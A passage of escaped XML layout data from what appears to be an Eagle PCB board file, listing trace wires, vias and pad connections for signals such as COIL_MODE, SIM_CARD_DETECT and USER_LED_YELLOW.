x1=\"47.3\" y1=\"36.7\" x2=\"52.3\" y2=\"36.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"45.6\" y1=\"35\" x2=\"47.3\" y2=\"36.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"54.4\" y1=\"44.6\" x2=\"54.4108\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"17.6\" y1=\"37.1\" x2=\"16.5\" y2=\"38.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.4\" y1=\"37.1\" x2=\"17.6\" y2=\"37.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"29\" y1=\"33.8\" x2=\"29\" y2=\"36.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"38.7\" y1=\"33.1\" x2=\"29.7\" y2=\"33.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"45.3\" y1=\"33.1\" x2=\"38.7\" y2=\"33.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"45.5\" y1=\"34.9\" x2=\"45.5\" y2=\"34.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"16.5\" y1=\"38.2\" x2=\"16.5\" y2=\"38.24\" width=\"0.2\" layer=\"1\"/>\n<via x=\"54\" y=\"46.1\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"52.4\" y=\"36.8\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"38.7\" y=\"33.1\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"16\"/>\n<wire x1=\"45.6\" y1=\"35\" x2=\"45.57\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"45.5\" y1=\"34.9\" x2=\"45.57\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"29\" y1=\"33.8\" x2=\"29.7\" y2=\"33.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"45.3\" y1=\"33.1\" x2=\"45.57\" y2=\"33.37\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"45.57\" y1=\"33.37\" x2=\"45.57\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"28.4\" y1=\"37.1\" x2=\"29\" y2=\"36.5\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP20\" pad=\"TP\"/>\n<wire x1=\"16.5\" y1=\"38.24\" x2=\"16.64\" y2=\"38.24\" width=\"0.2\" layer=\"1\"/>\n<via x=\"19.6\" y=\"40.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"19.6\" y1=\"40.1\" x2=\"19.6\" y2=\"46.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"19.6\" y1=\"46.4\" x2=\"18.9\" y2=\"47.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"19.6\" y1=\"40.1\" x2=\"18.36\" y2=\"40.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"18.36\" y1=\"40.1\" x2=\"16.5\" y2=\"38.24\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"RB8\">\n<contactref element=\"U6\" pad=\"32\"/>\n<wire x1=\"53.9\" y1=\"43.1\" x2=\"53.9\" y2=\"44.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.3\" y1=\"41.5\" x2=\"53.9\" y2=\"43.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"48.3\" y1=\"41.5\" x2=\"52.3\" y2=\"41.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"44.3\" y1=\"37.5\" x2=\"48.3\" y2=\"41.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"43\" y1=\"36.2\" x2=\"44.3\" y2=\"37.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"43\" y1=\"35\" x2=\"43\" y2=\"36.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"53.9\" y1=\"44.5\" x2=\"53.9028\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<via x=\"44.3\" y=\"37.5\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"15\"/>\n<wire x1=\"43\" y1=\"35\" x2=\"43.03\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"43\" y1=\"35\" x2=\"43.03\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"COIL_MODE\">\n<contactref element=\"U6\" pad=\"21\"/>\n<wire x1=\"47.5\" y1=\"48.2\" x2=\"49.2\" y2=\"48.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.3\" y1=\"48.4\" x2=\"47.5\" y2=\"48.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"43.7\" y1=\"48.4\" x2=\"47.3\" y2=\"48.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"43.3\" y1=\"48\" x2=\"43.7\" y2=\"48.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"42.5\" y1=\"47.2\" x2=\"43.3\" y2=\"48\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"42.5\" y1=\"41.8\" x2=\"42.5\" y2=\"47.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"32.8\" y1=\"35\" x2=\"32.85\" y2=\"35.05\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"32.85\" y1=\"35.05\" x2=\"34.8\" y2=\"37\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.2\" y1=\"48.2\" x2=\"49.28\" y2=\"48.2122\" width=\"0.2\" layer=\"1\"/>\n<via x=\"43.3\" y=\"48\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"11\"/>\n<wire x1=\"34.8\" y1=\"37\" x2=\"37.8\" y2=\"37\" width=\"0.2\" layer=\"1\"/>\n<via x=\"37.8\" y=\"37\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<via x=\"39.4\" y=\"41\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"39.4\" y1=\"41\" x2=\"41.2\" y2=\"41\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"41.2\" y1=\"41\" x2=\"41.3\" y2=\"41.1\" width=\"0.2\" layer=\"1\"/>\n<via x=\"41.3\" y=\"41.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"41.3\" y1=\"41.1\" x2=\"41.8\" y2=\"41.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"41.8\" y1=\"41.1\" x2=\"42.5\" y2=\"41.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"37.8\" y1=\"39.4\" x2=\"39.4\" y2=\"41\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"32.9\" y1=\"35\" x2=\"32.87\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"32.9\" y1=\"35\" x2=\"32.85\" y2=\"35.05\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"R6\" pad=\"1\"/>\n<wire x1=\"25.3\" y1=\"30.9\" x2=\"34.2\" y2=\"30.9\" width=\"0.2\" layer=\"1\"/>\n<via x=\"34.9\" y=\"30.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"21\" y1=\"29.9\" x2=\"21\" y2=\"25.7\" width=\"0.2\" layer=\"16\"/>\n<via x=\"21\" y=\"25.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"21\" y1=\"29.9\" x2=\"22\" y2=\"30.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"22\" y1=\"30.9\" x2=\"25.3\" y2=\"30.9\" width=\"0.2\" layer=\"16\"/>\n<via x=\"25.3\" y=\"30.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"25.3\" y1=\"30.9\" x2=\"25.2\" y2=\"30.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"21\" y1=\"25.7\" x2=\"21\" y2=\"24.85\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"21\" y1=\"24.85\" x2=\"19.45\" y2=\"23.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"34.2\" y1=\"30.9\" x2=\"34.9\" y2=\"30.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"32.87\" y1=\"34.95\" x2=\"32.87\" y2=\"31.73\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"32.87\" y1=\"31.73\" x2=\"33.7\" y2=\"30.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"33.7\" y1=\"30.9\" x2=\"34.2\" y2=\"30.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"34.2\" y1=\"30.9\" x2=\"34.9\" y2=\"30.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"37.8\" y1=\"39.4\" x2=\"37.8\" y2=\"37\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"RB3\">\n<contactref element=\"U6\" pad=\"22\"/>\n<wire x1=\"46.8\" y1=\"47.7\" x2=\"49.2\" y2=\"47.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.6\" y1=\"45.8\" x2=\"46.3\" y2=\"45.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39\" y1=\"45.2\" x2=\"39.6\" y2=\"45.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"35.5\" y1=\"41.2\" x2=\"39\" y2=\"45.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"35.5\" y1=\"35.1\" x2=\"35.5\" y2=\"41.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"35.4\" y1=\"35\" x2=\"35.5\" y2=\"35.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.2\" y1=\"47.7\" x2=\"49.28\" y2=\"47.7042\" width=\"0.2\" layer=\"1\"/>\n<via x=\"46.8\" y=\"47.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"46.3\" y=\"45.6\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"39\" y=\"45.2\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"12\"/>\n<wire x1=\"35.4\" y1=\"35\" x2=\"35.41\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"35.4\" y1=\"35\" x2=\"35.41\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"46.5\" y1=\"45.8\" x2=\"46.5\" y2=\"45.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"46.8\" y1=\"47.7\" x2=\"46.3\" y2=\"47.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"46.3\" y1=\"47.2\" x2=\"46.3\" y2=\"45.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"46.5\" y1=\"45.8\" x2=\"46.3\" y2=\"45.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"46.3\" y1=\"45.8\" x2=\"46.3\" y2=\"45.6\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"RB2\">\n<contactref element=\"U6\" pad=\"23\"/>\n<contactref element=\"JP16\" pad=\"6\"/>\n<wire x1=\"47.5\" y1=\"47.2\" x2=\"49.2\" y2=\"47.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.3\" y1=\"47\" x2=\"47.5\" y2=\"47.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"43.3\" y1=\"47\" x2=\"47.3\" y2=\"47\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"43.2\" y1=\"46.9\" x2=\"43.3\" y2=\"47\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"43.2\" y1=\"44.2\" x2=\"43.2\" y2=\"46.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"43\" y1=\"44.4\" x2=\"43.2\" y2=\"44.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30.4\" y1=\"44.4\" x2=\"43\" y2=\"44.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"29.7\" y1=\"45.1\" x2=\"30.4\" y2=\"44.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"5\" y1=\"45.1\" x2=\"29.7\" y2=\"45.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"3.3\" y1=\"46.8\" x2=\"5\" y2=\"45.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"3.4\" y1=\"46.9\" x2=\"3.3\" y2=\"46.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"3.4\" y1=\"49.4\" x2=\"3.4\" y2=\"46.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"1.7\" y1=\"51.1\" x2=\"3.4\" y2=\"49.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.2\" y1=\"47.2\" x2=\"49.28\" y2=\"47.1962\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"1.7\" y1=\"51.1\" x2=\"1.61\" y2=\"51.01\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"3.4\" y1=\"46.8\" x2=\"3.3\" y2=\"46.8\" width=\"0.2\" layer=\"16\"/>\n<via x=\"43.3\" y=\"47\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"43.2\" y=\"44.2\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"3.3\" y=\"46.8\" extent=\"1-16\" drill=\"0.4\"/>\n</signal>\n<signal name=\"SIM_CARD_DETECT\">\n<contactref element=\"U6\" pad=\"24\"/>\n<contactref element=\"JP16\" pad=\"7\"/>\n<wire x1=\"50.1\" y1=\"46.7\" x2=\"49.3\" y2=\"46.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.4\" y1=\"46.4\" x2=\"50.1\" y2=\"46.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.4\" y1=\"45.7\" x2=\"50.4\" y2=\"46.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47\" y1=\"43.8\" x2=\"47.7\" y2=\"43.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"46.3\" y1=\"43.1\" x2=\"47\" y2=\"43.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"43.3\" y1=\"40.1\" x2=\"46.3\" y2=\"43.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"43.3\" y1=\"37.7\" x2=\"43.3\" y2=\"40.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"19.8\" y1=\"37.7\" x2=\"43.3\" y2=\"37.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"19\" y1=\"38.5\" x2=\"19.8\" y2=\"37.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"18.5\" y1=\"39\" x2=\"19\" y2=\"38.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"18.5\" y1=\"43.6\" x2=\"18.5\" y2=\"39\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"16.3\" y1=\"45.8\" x2=\"18.5\" y2=\"43.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"14.6\" y1=\"47.5\" x2=\"16.3\" y2=\"45.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"3.6\" y1=\"47.5\" x2=\"14.6\" y2=\"47.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"2.7\" y1=\"48.4\" x2=\"3.6\" y2=\"47.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"1.7\" y1=\"48.4\" x2=\"2.7\" y2=\"48.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.3\" y1=\"46.7\" x2=\"49.28\" y2=\"46.6882\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"1.7\" y1=\"48.4\" x2=\"1.61\" y2=\"48.47\" width=\"0.2\" layer=\"1\"/>\n<via x=\"46.3\" y=\"43.1\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"43.3\" y=\"37.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"19\" y=\"38.5\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"16.3\" y=\"45.8\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"50.4\" y1=\"45.7\" x2=\"50\" y2=\"45.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50\" y1=\"45.3\" x2=\"49.2\" y2=\"45.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.2\" y1=\"45.3\" x2=\"47.7\" y2=\"43.8\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"SMART_CARD_DETECT\">\n<contactref element=\"U6\" pad=\"25\"/>\n<contactref element=\"JP16\" pad=\"8\"/>\n<wire x1=\"47.9\" y1=\"44.9\" x2=\"49.2\" y2=\"46.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.2\" y1=\"44.9\" x2=\"47.9\" y2=\"44.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.1\" y1=\"45.1\" x2=\"40.2\" y2=\"44.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.7\" y1=\"45.1\" x2=\"37.9\" y2=\"45.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30.7\" y1=\"45.1\" x2=\"37.7\" y2=\"45.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"3.2\" y1=\"44.7\" x2=\"29.1\" y2=\"44.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"2\" y1=\"45.9\" x2=\"3.2\" y2=\"44.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"1.7\" y1=\"45.9\" x2=\"2\" y2=\"45.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.2\" y1=\"46.2\" x2=\"49.28\" y2=\"46.2056\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"1.7\" y1=\"45.9\" x2=\"1.61\" y2=\"45.93\" width=\"0.2\" layer=\"1\"/>\n<via x=\"40.1\" y=\"45.1\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"37.9\" y=\"45.4\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"30.7\" y=\"45.1\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"30\" y=\"43.4\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"30.7\" y1=\"45.1\" x2=\"30\" y2=\"44.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"30\" y1=\"44.4\" x2=\"30\" y2=\"43.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"29.1\" y1=\"44.7\" x2=\"30\" y2=\"43.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30\" y1=\"43.8\" x2=\"30\" y2=\"43.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.1\" y1=\"45.1\" x2=\"40.1\" y2=\"45.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"40.1\" y1=\"45.4\" x2=\"39.4\" y2=\"46.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"39.4\" y1=\"46.1\" x2=\"38.6\" y2=\"46.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"38.6\" y1=\"46.1\" x2=\"37.9\" y2=\"45.4\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"USER_LED_YELLOW\">\n<contactref element=\"U6\" pad=\"67\"/>\n<contactref element=\"LED3\" pad=\"C\"/>\n<wire x1=\"102.2\" y1=\"13.7\" x2=\"102.2\" y2=\"12.65\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"101.1\" y1=\"14.8\" x2=\"102.2\" y2=\"13.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"99.3\" y1=\"31.6\" x2=\"99.3\" y2=\"27.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"98.6\" y1=\"32.3\" x2=\"99.3\" y2=\"31.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"98.6\" y1=\"34\" x2=\"98.6\" y2=\"32.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"98.8\" y1=\"34.2\" x2=\"98.6\" y2=\"34\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"98.8\" y1=\"34.9\" x2=\"98.8\" y2=\"34.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"62.3\" y1=\"54.2\" x2=\"64.5\" y2=\"54.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.8\" y1=\"53.7\" x2=\"62.3\" y2=\"54.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"60.7\" y1=\"53.7\" x2=\"61.8\" y2=\"53.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"60.5\" y1=\"53.9\" x2=\"60.7\" y2=\"53.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"61.1\" y1=\"53.3\" x2=\"60.5\" y2=\"53.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"61.1\" y1=\"49.7\" x2=\"61.1\" y2=\"53.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"62.8\" y1=\"48\" x2=\"61.1\" y2=\"49.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.2\" y1=\"48\" x2=\"62.8\" y2=\"48\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"65.6\" y1=\"45.2\" x2=\"65.6\" y2=\"45.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"66\" y1=\"45.6\" x2=\"65.6\" y2=\"45.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"69.2\" y1=\"45.6\" x2=\"66\" y2=\"45.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.3\" y1=\"44.5\" x2=\"69.2\" y2=\"45.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"86.8\" y1=\"44.5\" x2=\"70.3\" y2=\"44.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"93.9\" y1=\"37.4\" x2=\"86.8\" y2=\"44.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"96.6\" y1=\"37.4\" x2=\"93.9\" y2=\"37.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"98.8\" y1=\"35.2\" x2=\"96.6\" y2=\"37.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"98.8\" y1=\"35\" x2=\"98.8\" y2=\"35.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.5\" y1=\"54.2\" x2=\"64.52\" y2=\"54.2066\" width=\"0.2\" layer=\"1\"/>\n<via x=\"102.2\" y=\"13.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"60.5\" y=\"53.9\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"65.6\" y=\"45.2\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"37\"/>\n<wire x1=\"98.9\" y1=\"35\" x2=\"98.91\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"98.8\" y1=\"35\" x2=\"98.91\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"98.8\" y1=\"34.9\" x2=\"98.91\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"99.3\" y1=\"27.8\" x2=\"101.1\" y2=\"26\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"101.1\" y1=\"26\" x2=\"101.1\" y2=\"14.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.2\" y1=\"48\" x2=\"65.6\" y2=\"45.6\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"RA10\">\n<contactref element=\"U6\" pad=\"29\"/>\n<wire x1=\"52.4\" y1=\"42.9\" x2=\"52.4\" y2=\"44.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"44.2\" y1=\"38.4\" x2=\"48.4\" y2=\"42.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"41\" y1=\"38.4\" x2=\"44.2\" y2=\"38.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.6\" y1=\"38\" x2=\"41\" y2=\"38.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"40.6\" y1=\"35.1\" x2=\"40.6\" y2=\"38\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"40.5\" y1=\"35\" x2=\"40.6\" y2=\"35.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"52.4\" y1=\"44.5\" x2=\"52.4042\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<via x=\"41\" y=\"38.4\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"14\"/>\n<wire x1=\"40.5\" y1=\"35\" x2=\"40.49\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.5\" y1=\"35\" x2=\"40.49\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"48.4\" y1=\"42.6\" x2=\"52.1\" y2=\"42.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.1\" y1=\"42.6\" x2=\"52.4\" y2=\"42.9\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"RA9\">\n<contactref element=\"U6\" pad=\"28\"/>\n<wire x1=\"51.2\" y1=\"45.9\" x2=\"51.3\" y2=\"46\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"51.2\" y1=\"38.1\" x2=\"51.2\" y2=\"45.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.3\" y1=\"36.2\" x2=\"51.2\" y2=\"38.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.3\" y1=\"33.1\" x2=\"49.3\" y2=\"36.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"39.7\" y1=\"33.1\" x2=\"49.3\" y2=\"33.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.9\" y1=\"34.9\" x2=\"39.7\" y2=\"33.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.9\" y1=\"44.6\" x2=\"51.8962\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<via x=\"51.3\" y=\"46\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"49.3\" y=\"33.1\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"13\"/>\n<wire x1=\"37.9\" y1=\"35\" x2=\"37.95\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.9\" y1=\"34.9\" x2=\"37.95\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.9\" y1=\"44.6\" x2=\"51.9\" y2=\"45.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.9\" y1=\"45.8\" x2=\"51.7\" y2=\"46\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.7\" y1=\"46\" x2=\"51.3\" y2=\"46\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"RA7\">\n<contactref element=\"U6\" pad=\"92\"/>\n<wire x1=\"54.2\" y1=\"58\" x2=\"54.9\" y2=\"58.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"53.9\" y1=\"58\" x2=\"54.2\" y2=\"58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.2\" y1=\"59.7\" x2=\"53.9\" y2=\"58\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"52.2\" y1=\"63\" x2=\"52.2\" y2=\"59.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"45.4\" y1=\"69.8\" x2=\"52.2\" y2=\"63\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"45.4\" y1=\"70.2\" x2=\"45.4\" y2=\"69.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"54.9\" y1=\"59.8\" x2=\"54.8934\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"53.9\" y=\"58\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"16\"/>\n<wire x1=\"45.4\" y1=\"70.2\" x2=\"45.57\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"54.9\" y1=\"59.8\" x2=\"54.9\" y2=\"58.7\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"RA6\">\n<contactref element=\"U6\" pad=\"91\"/>\n<wire x1=\"55.4\" y1=\"58.4\" x2=\"55.4\" y2=\"59.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.7\" y1=\"58.4\" x2=\"55.4\" y2=\"58.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.5\" y1=\"58.6\" x2=\"55.7\" y2=\"58.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"55.5\" y1=\"66.8\" x2=\"55.5\" y2=\"58.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"53.9\" y1=\"68.4\" x2=\"55.5\" y2=\"66.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.7\" y1=\"68.4\" x2=\"53.9\" y2=\"68.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.9\" y1=\"70.2\" x2=\"49.7\" y2=\"68.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.4\" y1=\"59.8\" x2=\"55.4014\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"55.7\" 